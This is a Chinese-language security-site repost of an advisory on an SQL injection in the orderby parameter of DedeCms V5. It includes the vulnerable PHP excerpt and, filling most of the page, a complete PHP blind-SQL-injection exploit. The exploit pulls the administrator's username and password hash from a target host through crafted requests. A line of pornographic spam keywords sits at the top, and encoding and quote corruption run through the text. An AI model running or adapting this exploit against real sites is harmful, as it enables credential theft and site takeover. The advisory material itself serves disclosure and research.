亚洲乱码中文字幕综合,中国熟女仑乱hd,亚洲精品乱拍国产一区二区三区,一本大道卡一卡二卡三乱码全集资源,又粗又黄又硬又爽的免费视频

DedeCms V5 orderby參數(shù)注射漏洞

  發(fā)布時間:2011-03-11 12:11:22   作者:佚名   我要評論
  影響版本:   DedeCms V5漏洞描述:   DedeCms由2004年到現(xiàn)在,已經(jīng)經(jīng)歷了五個版本,從DedeCms V2 開始,DedeCms開發(fā)了自己的模板引擎,使用XML名字空間風(fēng)格的模板,對美工制作的直觀性提供了極大的便利,從V2.1開始,DedeCms人氣急卻上升,成為國內(nèi)最流行的CMS軟

  影響版本:

  DedeCms V5漏洞描述:

  DedeCms由2004年到現(xiàn)在,已經(jīng)經(jīng)歷了五個版本,從DedeCms V2 開始,DedeCms開發(fā)了自己的模板引擎,使用XML名字空間風(fēng)格的模板,對美工制作的直觀性提供了極大的便利,從V2.1開始,DedeCms人氣急卻上升,成為國內(nèi)最流行的CMS軟件,在DedeCms V3版本中,開始引入了模型的概念,從而擺脫里傳統(tǒng)網(wǎng)站內(nèi)容管理對模塊太分散,管理不集中的缺點,但隨著時間的發(fā)展,發(fā)現(xiàn)純粹用模型化并不能滿足用戶的需求,從而DedeCms 2007(DedeCms V5)應(yīng)聲而出.80sec在其產(chǎn)品中發(fā)現(xiàn)了多個嚴(yán)重的SQL注射漏洞,可能被惡意用戶查詢數(shù)據(jù)庫的敏感信息,如管理員密碼,加密key等等,從而控制整個網(wǎng)站。

  在joblist.php和guestbook_admin.php等文件中對orderby參數(shù)未做過濾即帶入數(shù)據(jù)庫查詢,造成多個注射漏洞。漏洞部分代碼如下

  -------------------------------------------------------

  if(empty($orderby)) $orderby = 'pubdate';

  //重載列表

  if($dopost=='getlist'){

  PrintAjaxHead();

  GetList($dsql,$pageno,$pagesize,$orderby);//調(diào)用GetList函數(shù)

  $dsql->Close();

  exit();

  ……

  function GetList($dsql,$pageno,$pagesize,$orderby='pubdate'){

  global $cfg_phpurl,$cfg_ml;

  $jobs = array();

  $start = ($pageno-1) * $pagesize;

  $dsql->SetQuery("Select * From sec_jobs where memberID='".$cfg_ml->M_ID."' order by $orderby desc limit $start,$pagesize ");

  $dsql->Execute();//orderby 帶入數(shù)據(jù)庫查詢

  ……

  ----------------------------------------------------------

  <*參考

  http://www.80sec.com/dedecms-sql-injection.html

  *>

  測試方法:

  [www.sebug.net]

  本站提供程序(方法)可能帶有攻擊性,僅供安全研究與教學(xué)之用,風(fēng)險自負(fù)!

  print_r('

  --------------------------------------------------------------------------------

  DedeCms >=5 "orderby" blind SQL injection/admin credentials disclosure exploit

  BY Flyh4t

  www.wolvez.org

  Thx for all the members of W.S.T and my friend Oldjun

  --------------------------------------------------------------------------------

  ');

  if ($argc<3) {

  print_r('

  --------------------------------------------------------------------------------

  Usage: php '.$argv[0].’ host path

  host: target server (ip/hostname)

  path: path to DEDEcms

  Example:

  php ‘.$argv[0].’ localhost /

  ——————————————————————————–

  ‘);

  die;

  }

  function sendpacketii($packet)

  {

  global $host, $html;

  $ock=fsockopen(gethostbyname($host),’80′);

  if (!$ock) {

  echo ‘No response from ‘.$host; die;

  }

  fputs($ock,$packet);

  $html=”;

  while (!feof($ock)) {

  $html.=fgets($ock);

  }

  fclose($ock);

  }

  $host=$argv[1];

  $path=$argv[2];

  $prefix=”dede_”;

  $cookie=”DedeUserID=39255; DedeUserIDckMd5=31283748c5a4b36c; DedeLoginTime=1218471600; DedeLoginTimeckMd5=a7d9577b3b4820fa”;

  if (($path[0]<>’/') or ($path[strlen($path)-1]<>’/'))

  {echo ‘Error… check the path!’; die;}

  /*get $prefix*/

  $packet =”GET “.$path.”/member/guestbook_admin.php?dopost=getlist&pageno=1&orderby=11′ HTTP/1.0rn”;

  $packet.=”Host: “.$host.”rn”;

  $packet.=”Cookie: “.$cookie.”rn”;

  $packet.=”Connection: Closernrn”;

  sendpacketii($packet);

  if (eregi(”in your SQL syntax”,$html))

  {

  $temp=explode(”From “,$html);

  $temp2=explode(”member”,$temp[1]);

  if($temp2[0])

  $prefix=$temp2[0];

  echo “[+]prefix -> “.$prefix.”n”;

  }

  $chars[0]=0;//null

  $chars=array_merge($chars,range(48,57)); //numbers

  $chars=array_merge($chars,range(97,102));//a-f letters

  echo “[~]exploting now,plz waitingrn”;

  /*get password*/

  $j=1;$password=”";

  while (!strstr($password,chr(0)))

  {

  for ($i=0; $i<=255; $i++)

  {

  if (in_array($i,$chars))

  {

  $sql=”orderby=11+and+If(ASCII(SUBSTRING((SELECT+pwd+FROM+”.$prefix.”admin+where+id=1),”.$j.”,1))=”.$i.”,1,(SELECT+pwd+FROM+”.$prefix.”member))”;

  $packet =”GET “.$path.”member/guestbook_admin.php?dopost=getlist&pageno=1&”.$sql.” HTTP/1.0rn”;

  $packet.=”Host: “.$host.”rn”;

  $packet.=”Cookie: “.$cookie.”rn”;

  $packet.=”Connection: Closernrn”;

  sendpacketii($packet);

  if (!eregi(”Subquery returns more than 1 row”,$html)) {$password.=chr($i);echo”[+]pwd:”.$password.”rn”;break;}

  }

  if ($i==255) {die(”Exploit failed…”);}

  }

  $j++;

  }

  /*get userid*/

  $j=1;$admin=”";

  while (!strstr($admin,chr(0)))

  {

  for ($i=0; $i<=255; $i++)

  {

  $sql=”orderby=11+and+If(ASCII(SUBSTRING((SELECT+userid+FROM+”.$prefix.”admin+where+id=1),”.$j.”,1))=”.$i.”,1,(SELECT+pwd+FROM+”.$prefix.”member))”;

  $packet =”GET “.$path.”member/guestbook_admin.php?dopost=getlist&pageno=1&”.$sql.” HTTP/1.0rn”;

  $packet.=”Host: “.$host.”rn”;

  $packet.=”Cookie: “.$cookie.”rn”;

  $packet.=”Connection: Closernrn”;

  sendpacketii($packet);

  if (!eregi(”Subquery returns more than 1 row”,$html)) {$admin.=chr($i);echo”[+]userid:”.$admin.”rn”;break;}

  if ($i==255) {die(”Exploit failed…”);}

  }

  $j++;

  }

  print_r(’

  ——————————————————————————–

  [+]userid -> ‘.$admin.’

  [+]pwd(md5 24位) -> ‘.$password.’

  ——————————————————————————–

  ‘);

  function is_hash($hash)

  {

  if (ereg(”^[a-f0-9]{24}”,trim($hash))) {return true;}

  else {return false;}

  }

  if (is_hash($password)) {echo “Exploit succeeded…”;}

  else {echo “Exploit failed…”;}

  ?>愛安全建議:

  暫無

  http://www.dedecms.com// aianquan.com [2008-08-13]

 

(本文由責(zé)任編輯 pasu  整理發(fā)布)

 

相關(guān)文章

最新評論